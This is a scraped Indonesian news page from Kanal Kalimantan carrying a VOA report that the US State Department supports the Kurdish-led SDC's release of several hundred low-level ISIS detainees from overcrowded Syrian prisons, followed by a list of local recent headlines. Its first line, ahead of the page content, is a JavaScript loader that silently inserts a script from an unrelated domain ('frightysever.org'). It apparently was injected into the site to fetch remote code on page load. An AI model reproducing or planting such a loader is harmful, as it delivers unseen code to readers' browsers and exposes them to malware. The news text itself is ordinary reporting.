(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: INTERNASIONAL

AS Dukung Pembebasan Tahanan ISIS ‘Tingkat Rendah’ di Suriah


KANALKALIMANTAN.COM, WASHINGTON DC – Washington menanggapi upaya untuk mengurangi beban di penjara yang penuh sesak di Suriah dengan optimistis dan kewaspadaan, meskipun upaya tersebut mencakup pembebasan ratusan pengikut kelompok teror itu. Penjara itu menahan ribuan militan ISIS yang ditangkap.

Rencana tersebut minggu lalu diberlakukan oleh Dewan Demokratik Suriah (Syrian Democratic Council/SDC) yang dipimpin Kurdi, sayap politik Pasukan Demokratik Suriah (Syrian Democratic Forces/SDF) yang didukung AS. Mereka menyerukan pembebasan anggota ISIS “tingkat rendah” berdasarkan pengampunan umum.

Sebanyak 631 warga Suriah dalam kategori itu sudah dibebaskan dan diizinkan kembali ke rumah mereka. Sementara 253 lainnya hukumannya dikurangi separuhnya dan pejabat Kurdi mengatakan pembebasan lebih banyak diharapkan dalam beberapa bulan mendatang.

Sejauh ini, Amerika menyetujuinya.

“Kita melihat prakarsa pemulangan dan reintegrasi ini sebagai hal yang positif,” kata juru bicara Departemen Luar Negeri kepada VOA. Dia mengatakan pembebasan itu “berfokus pada pelaku non-kekerasan yang tidak dinilai menimbulkan risiko radikalisasi bagi komunitas mereka.”

Pejabat tersebut, yang berbicara dengan syarat tidak menyebut namanya mengingat kesensitifan masalah tersebut, juga menyarankan tersedianya bantuan untuk kelancaran proses.

“Kita, bersama mitra koalisi siap untuk mendukung komunitas penerima sebagai bagian dari inisiatif stabilisasi yang sedang berlangsung,” kata juru bicara itu.

Kekhawatiran mengenai apa yang harus dilakukan terhadap pejuang ISIS yang ditangkap dan pendukung ISIS meningkat sejak runtuhnya kekhalifahan kelompok teror itu pada Maret 2019.

Dalam beberapa bulan, pejabat penting Pentagon memperingatkan bahwa puluhan penjara darurat yang didirikan SDF untuk menahan mereka, yang ketika itu menangkap lebih dari 10 ribu militan ISIS yang termasuk 2.000 pejuang asing, tidak bisa dipertahankan. (my/ft)

 

Editor: VOA


Desy Arfianty

Recent Posts

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

4 jam ago

Drainase dan Sungai Tersumbat Perparah Banjir Rob di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More

6 jam ago

Jalan Sehat Bank Kalsel Bersama Warga dan ASN Pemkab HSU ‎

KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More

7 jam ago

Mengawal Kasus Pembunuhan Zahra Dilla Lewat Gerakan Udara Aksi Kamisan

KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More

8 jam ago

Bappenas Dukung Bangun Jalan Basarang–Batanjung 54 Km, Target Fungsional 2027

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More

8 jam ago

Banjir Kalsel Bencana Ekologis, Wapres Gibran Sebut Ada Kesalahan Tata Ruang

KANALKALIMANTAN.COM, MARTAPURA - Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan… Read More

12 jam ago

This website uses cookies.